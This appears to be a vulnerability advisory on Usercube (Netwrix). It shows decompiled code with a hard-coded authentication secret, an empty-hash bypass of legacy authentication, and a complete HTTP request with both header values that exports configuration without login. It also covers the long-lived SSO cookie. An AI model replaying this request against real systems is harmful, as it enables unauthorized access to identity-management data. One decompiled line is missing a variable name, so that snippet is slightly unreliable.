Usercube (Netwrix) - Multiple vulnerabilities

The application exposes deployment endpoints:

• POST /api/Deployment/ExportConfiguration
• POST /api/Deployment

Both of them require authentication based on a custom mechanism, as shown by the following decompiled code from Usercube-Server.dll (DeploymentController.cs):

[ApiVersion("1.0")]
[AllowAnonymous]
[HttpPost]
public IActionResult Post([FromForm] IFormFile file)
{
	ValueTuple<ConfigurationContext, string, string, string, string, string, string, ValueTuple<string>> elements = ConfigurationService.GetElements(this.hostEnvironment, base.HttpContext);
	ConfigurationContext item = elements.Item1;
	string item2 = elements.Item2; // X-Usercubeauthorization header
	string item3 = elements.Item3; // Authorization header
	string item4 = elements.Item4; // X-Usercubelegacy header
	string item5 = elements.Item5; // environmentname
	string item6 = elements.Item6; // deployment-slot header
	string item7 = elements.Item7; // Host header
	string item8 = elements.Rest.Item1; // tenant header
	this.FillContext(item);
	JwtSecurityTokenHandler tokenHandler = new JwtSecurityTokenHandler();
	OpenIdTokenValidationProvider tokenValidationProvider = new OpenIdTokenValidationProvider();
	return this.ValidateRequestAndDeploy(item, item2, item3, item4, item5, item6, item7, item8, tokenHandler, tokenValidationProvider, file);
}

[ApiVersion("1.0")]
[AllowAnonymous]
[Route("ExportConfiguration")]
[HttpPost]
public IActionResult ExportConfiguration()
{
	ValueTuple<ConfigurationContext, string, string, string, string, string, string, ValueTuple<string>> elements = ConfigurationService.GetElements(this.hostEnvironment, base.HttpContext);
	ConfigurationContext item = elements.Item1;
	string item2 = elements.Item2; // X-Usercubeauthorization header
	string item3 = elements.Item3; // Authorization header
	string item4 = elements.Item4; // X-Usercubelegacy header
	string item5 = elements.Item5; // environmentname
	string item6 = elements.Item6; // deployment-slot header
	string item7 = elements.Item7; // Host header
	string item8 = elements.Rest.Item1; // tenant header
	item.MarkExport = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.MarkExport);
	item.MarkExportRoleModel = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.MarkRoleModelExport);
	item.HandleProductTranslation = base.HttpContext.Request.Query.ContainsKey(ConfigurationConstants.HandleProductTranslation);
	JwtSecurityTokenHandler tokenHandler = new JwtSecurityTokenHandler();
	OpenIdTokenValidationProvider tokenValidationProvider = new OpenIdTokenValidationProvider();
	string value;
	bool isLegacyAuth;
	if (ConfigurationService.TryGetAuthenticationError(item2, item3, item4, this.resetSettings, tokenHandler, tokenValidationProvider, this.logger, item5, out value, out isLegacyAuth))
	{
		return this.Unauthorized(value);
	}
	this.LogConfigurationRequestApproval(isLegacyAuth, tokenHandler, item3, true);
	ValueTuple<string, string, int> valueTuple = this.configurationManager.Export(this.resetSettings, this.dbConfig, this.loggerTaskSettings, item);
	string item9 = valueTuple.Item1;
	string item10 = valueTuple.Item2;
	int item11 = valueTuple.Item3;
	if (item11 != 0)
	{
		this.logger.LogError("{Output}", new object[]
		{
			item9
		});
		return this.BadRequest(item9);
	}
	this.logger.LogInformation("Configuration successfully exported", Array.Empty<object>());
	Stream stream = this.fileFacade.GetStream(item10, FileMode.Open, FileAccess.Write, FileShare.None);
	base.Response.Headers.Add("content-disposition", "attachment; filename=" + Path.GetFileName(item10));
	return this.File(stream, "application/zip", Path.GetFileName(item10));
}

The functions related to authentication are located in the ConfigurationService.cs file:

internal static bool TryGetAuthenticationError([Nullable(2)] string secret, [Nullable(2)] string idTokenAsString, [Nullable(2)] string oldAuthHeader, ResetSettings resetSettings, JwtSecurityTokenHandler tokenHandler, ITokenValidationProvider tokenValidationProvider, ILogger logger, string environment, [Nullable(2)] [NotNullWhen(true)] out string errorMessage, out bool isLegacyAuth)
{
    isLegacyAuth = false;
    if (secret != "9kltub854rd36421uty5846hgdqdf")
    {
        errorMessage = ConfigurationConstants.InvalidUsercubeHeaderValueErrorMessage;
        logger.LogError("Unauthorized Operation - Invalid Usercube Header on environment {environment}", new object[]
        {
            environment
        });
        return true;
    }
    List<ValueTuple<LogLevel, string>> list = new List<ValueTuple<LogLevel, string>>();
    string str;
    if (!ConfigurationService.TryGetOpenIdTokenError(idTokenAsString, resetSettings, tokenHandler, tokenValidationProvider, list, out str))
    {
        errorMessage = null;
        return false;
    }
    isLegacyAuth = ConfigurationService.TryValidateOldAuth(oldAuthHeader, resetSettings);
    if (isLegacyAuth)
    {
        logger.LogInformation("Configuration Deployment: Legacy authentication success.", Array.Empty<object>());
    errorMessage = null;
        return false;
    }
    errorMessage = ConfigurationConstants.InvalidOpenIdTokenErrorMessage + str;
    string message = "Unauthorized Operation - Invalid Open ID Connect token ({logs}) on environment {environment}";
    object[] array = new object[2];
    array[0] = (from t in list
    select t.Item2).ToList<string>();
    array[1] = environment;
    logger.LogError(message, array);
    return true;
}
[...]

private static bool TryValidateOldAuth([Nullable(2)] string oldAuthHeader, ResetSettings resetSettings)
{
    if (oldAuthHeader == null)
    {
        oldAuthHeader = string.Empty;
    }
    string[] source = oldAuthHeader.Split('|', StringSplitOptions.None);
    string      = source.ElementAtOrDefault(0) ?? string.Empty;
    string b2 = source.ElementAtOrDefault(1) ?? string.Empty;
    SHA512 sha = SHA512.Create();
    string a = Convert.ToHexString(sha.ComputeHash(Encoding.UTF8.GetBytes(resetSettings.AuthorizedClientId)));
    string a2 = Convert.ToHexString(sha.ComputeHash(Encoding.UTF8.GetBytes(resetSettings.AuthorizedClientSecret)));
    return string.Equals(a, b, StringComparison.Ordinal) && string.Equals(a2, b2, StringComparison.Ordinal);
}

The previous code performs the following checks:

• The X-Usercubeauthorization HTTP header must be present and equal to 9kltub854rd36421uty5846hgdqdf.
• If the Authorization header is present and valid (TryGetOpenIdTokenError function), the user is authenticated. If not, the execution continues.
• If the X-Usercubelegacy header is present and valid (TryValidateOldAuth function), the user is authenticated.

Therefore, if one of the TryGetOpenIdTokenError or TryValidateOldAuth functions returns true, the user is authenticated and can access the deployment endpoints.

The TryValidateOldAuth function checks the presence of the X-Usercubelegacy HTTP header and splits its content in two parts surrounding the | character. Then, both values are compared with the SHA512 hashes of the restSettings.AuthorizedClientId and restSettings.AuthorizedSecret values. However, if these keys are not set in the application's configuration, the computed hashes both correspond to the SHA512 hash of an empty string, which is a constant value. Furthermore, these specific settings do not seem to be documented by Netwrix, and the default appsettings.json configuration file does not include the corresponding keys.

It is therefore possible to export and import the application's configuration without prior authentication, using the constant values of the X-Usercubeauthorization and X-Usercubelegacy headers, without any additional information.

The following request can be performed to export the configuration:

POST /api/Deployment/ExportConfiguration?api-version=1.0&vary=en-US HTTP/1.1
Host: usercube.local:5000
X-Usercubeauthorization: 9kltub854rd36421uty5846hgdqdf
X-Usercubelegacy: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E|CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Content-Length: 0

HTTP/1.1 200 OK
Content-Length: 7526
Content-Type: application/zip
Cache-Control: no-store,no-cache
Pragma: no-cache
Content-Disposition: attachment; filename=rcnml3mf.k2l; filename*=UTF-8''rcnml3mf.k2l

PK[...]

As described in the first vulnerability, a secret is hard-coded in the libraries of the application and used to authenticate on the deployment functionality.

Two occurrences of this secret have been identified:

• In Usercube-Server.dll, in the ConfigurationService.cs file and the TryGetAuthenticationError function.
• In Usercube.Configuration.ExecApi, in the RemoteAuthenticationValidator.cs file and the AddAuthenticationHeaders function.

public void AddAuthenticationHeaders()
{
    if (string.IsNullOrEmpty(this.authenticationTokenAsString) && string.IsNullOrEmpty(this.oldAuthHeader))
    {
        throw new ValidationException("Cannot add headers before authentication has been validated successfully.");
    }
    this.content.Headers.Add(ConfigurationConstants.UsercubeHeader, "9kltub854rd36421uty5846hgdqdf");
[...]
internal static bool TryGetAuthenticationError([Nullable(2)] string secret, [Nullable(2)] string idTokenAsString, [Nullable(2)] string oldAuthHeader, ResetSettings resetSettings, JwtSecurityTokenHandler tokenHandler, ITokenValidationProvider tokenValidationProvider, ILogger logger, string environment, [Nullable(2)] [NotNullWhen(true)] out string errorMessage, out bool isLegacyAuth)
{
    isLegacyAuth = false;
    if (secret != "9kltub854rd36421uty5846hgdqdf")
    {
[...]

When the Usercube application is configured to use an external identity provider, the endpoint used to validate Single Sign-On returns an External cookie.

For example, when using Saml2:

POST /Saml2/Acs HTTP/2
Host: usercube.local
Content-Type: application/x-www-form-urlencoded

[...]

RelayState=cXnxj1-6U5DfT08zsLDc3VEM&SAMLResponse=PHNhbWx[...]

HTTP/2 303 See Other
Location: /Account/ExternalLoginCallback
Set-Cookie: External=CfD[...]tqw; path=/; secure; samesite=lax; httponly
[...]

Then, another call is performed to retrieve the Session cookie that is used to authenticate the user:

GET /Account/ExternalLoginCallback HTTP/2
Host: usercube.local
Cookie: External=CfD[...]Prw;

[...]

HTTP/2 302 Found
Cache-Control: no-cache,no-store
Pragma: no-cache
Location: /resources/Directory_User?PresenceState.Id=-101%2C-102
Set-Cookie: Session=CfD[...]]Etj; path=/; secure; samesite=strict; httponly
Set-Cookie: External=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/; secure; samesite=lax; httponly

The Session cookie has a short lifespan of 10 minutes. However, the External cookie is valid during multiple days (at least 6 days).